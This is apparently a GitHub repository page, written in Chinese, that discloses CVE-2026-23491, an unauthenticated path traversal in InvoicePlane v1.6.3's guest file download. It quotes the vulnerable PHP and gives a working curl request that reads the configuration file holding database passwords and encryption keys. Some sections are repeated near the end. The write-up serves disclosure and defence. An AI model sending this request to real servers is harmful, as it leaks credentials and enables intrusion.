lukasz-rybak/CVE-2026-23491
GitHub: lukasz-rybak/CVE-2026-23491
针对InvoicePlane v1.6.3中未认证路径遍历漏洞的安全验证与PoC代码,可致服务器敏感文件泄露。
Stars: 0 | Forks: 0
# CVE-2026-23491:InvoicePlane 在 Guest 控制器中存在未认证路径遍历漏洞
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2026-23491](https://nvd.nist.gov/vuln/detail/CVE-2026-23491) |
| **严重性** | 严重 |
| **公告** | [查看公告](https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 受影响产品
- **InvoicePlane/InvoicePlane**
## 详情
### 摘要
InvoicePlane v1.6.3 的 `Guest` 模块的 `Get` 控制器中的 `get_file` 方法存在路径遍历漏洞。该漏洞允许未经身份验证的攻击者通过操控输入文件名来读取服务器上的任意文件。这会导致敏感信息泄露,包括包含数据库凭据的配置文件。
### 详情
该漏洞位于 `application/modules/guest/controllers/Get.php` 文件中,具体在 `get_file` 函数内。
该函数直接从 URL 接受 `$filename` 参数。它会执行 `urldecode($filename)`,但未能过滤输入中的目录遍历序列(例如 `../`)。随后,经过处理的文件名与基础目录(`$this->targetPath`,映射为 `uploads/customer_files/`)拼接,并传递给 `readfile()` 函数。
**易受攻击的代码片段:**
```
public function get_file($filename): void
{
$filename = urldecode($filename);
if ( ! file_exists($this->targetPath . $filename)) {
$ref = isset($_SERVER['HTTP_REFERER']) ? ', Referer:' . $_SERVER['HTTP_REFERER'] : '';
$this->respond_message(404, 'upload_error_file_not_found', $this->targetPath . $filename . $ref);
}
// ... headers setting content type and disposition ...
readfile($this->targetPath . $filename);
}
```
由于 `$filename` 受用户控制且未经过检查,攻击者可以提供类似 `../../ipconfig.php` 的字符串以跳出预定的目录。
### PoC
以下 cURL 命令演示了读取 `ipconfig.php` 文件(该文件位于默认 `uploads/customer_files/` 目录的上级两级目录中):
```
curl http://localhost/index.php/guest/get/get_file/..%2f..%2fipconfig.php
```
**预期输出:**
服务器响应 `ipconfig.php` 的内容,其中包括 `DB_PASSWORD` 和 `ENCRYPTION_KEY` 等敏感环境变量。
### 影响
攻击者可以读取应用程序配置、源代码以及 Web 服务器用户有权读取的系统上的其他文件。
## 参考文献
- https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc
- https://github.com/InvoicePlane/InvoicePlane/commit/add8bb798dde621f886823065ef1841986543c69
## 免责声明
此 CVE 是遵循协调漏洞披露实践负责任披露的。此处提供的信息仅用于教育和防御目的。
**预期输出:**
服务器响应 `ipconfig.php` 的内容,其中包括 `DB_PASSWORD` 和 `ENCRYPTION_KEY` 等敏感环境变量。
### 影响
攻击者可以读取应用程序配置、源代码以及 Web 服务器用户有权读取的系统上的其他文件。
## 参考文献
- https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc
- https://github.com/InvoicePlane/InvoicePlane/commit/add8bb798dde621f886823065ef1841986543c69
## 免责声明
此 CVE 是遵循协调漏洞披露实践负责任披露的。此处提供的信息仅用于教育和防御目的。标签:CVE-2026-23491, Get控制器, InvoicePlane, OpenVAS, PHP, Web安全, 严重漏洞, 任意文件读取, 安全漏洞, 数据库凭证泄露, 文件上传, 未授权访问, 漏洞分析, 网络安全, 网络安全审计, 蓝队分析, 路径探测, 路径穿越, 隐私保护